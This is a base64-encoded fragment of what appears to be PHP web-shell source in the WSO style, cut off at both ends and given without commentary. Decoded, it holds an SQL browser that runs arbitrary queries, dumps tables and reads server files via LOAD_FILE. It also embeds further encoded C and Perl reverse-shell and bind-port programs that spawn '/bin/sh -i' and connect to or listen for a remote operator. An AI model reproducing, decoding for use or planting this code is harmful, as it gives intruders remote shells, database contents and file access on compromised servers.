oJHN0ciwgJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH07CiAgICAkZGIgPSBuZXcgRGJDbGFzcyhAJF9QT1NUWyd0eXBlJ10pOwogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwogICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9InNmIiBtZXRob2Q9InBvc3QiPgogICAgICAgIDx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+VHlwZTwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+SG9zdDwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+TG9naW48L3RkPgogICAgICAgICAgICAgICAgPHRkPlBhc3N3b3JkPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5EYXRhYmFzZTwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT1cJ3F1ZXJ5XCc+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9XCd0eXBlXCc+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im15c3FsIiAnLihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCc/J3NlbGVjdGVkJzonJykuJz5NeVNxbDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZ3NxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnPydzZWxlY3RlZCc6JycpLic+UG9zdGdyZVNxbDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkuJyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkuJyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKS4nIj48L3RkPgogICAgICAgICAgICAgICAgPHRkPic7CiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwogICAgaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CiAgICAgICAgaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRkYi0+bGlzdERicygpOwogICAgICAgICAgICBlY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwogICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0Pic7CiAgICAgICAgfQogICAgICAgIGVsc2UgZWNobyAkdG1wOwogICAgfWVsc2UKICAgICAgICBlY2hvICR0bXA7CiAgICBlY2hvICc8L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnAxLnZhbHVlID0gXCdzZWxlY3RcJzsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnAyLnZhbHVlID0gdDsKICAgICAgICAgICAgICAgIGlmKGwhPW51bGwpZG9jdW1lbnQuc2YucDMudmFsdWUgPSBsOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2Yuc3VibWl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7CiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXS5sZW5ndGg7KytpKQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ11baV0uY2hlY2tlZCA9ICFkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQ7CiAgICAgICAgICAgIH0KICAgICAgICA8L3NjcmlwdD4nOwogICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewogICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7CiAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoxcHggc29saWQgI2EzZTk1Njtib3JkZXItcmlnaHQ6MnB4IHNvbGlkICNhM2U5NTY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsKICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsKICAgICAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOwogICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicpXCI+Ii4kdmFsdWUuIjwvYT4gKCIuJG5bJ24nXS4iKTwvbm9icj48YnI+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2Oyc+IjsKICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kX1BPU1RbJ3AyJ10uJycpOwogICAgICAgICAgICAgICAgICAgICRudW0gPSAkZGItPmZldGNoKCk7CiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRudW1bJ24nXTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoJG51bSkgIjsKICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTwoJG51bS8zMCk7JGkrKykKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1RbJ3AzJ10pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdzdChcIiIuJF9QT1NUWydwMiddLiJcIiwgJGkpJz4iLCgkaSsxKSwiPC9hPiAiOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICgkaSsxKSwiICI7CiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoQCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOwogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHRpdGxlKSAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRoPicuJGtleS4nPC90aD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPjx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2YWx1ZSA9PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIG5hbWU9J3AzJyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiIuQGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKS4iPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+PGZvcm0gb25zdWJtaXQ9J2RvY3VtZW50LnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsKICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7CiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJF9QT1NUWydwMiddKS4iJykgYXMgZmlsZSIpOwogICAgICAgICAgICAgICAgJGZpbGUgPSAkZGItPmZldGNoKCk7CiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7CiAgICAgICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgICRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsKICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwogICAgJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3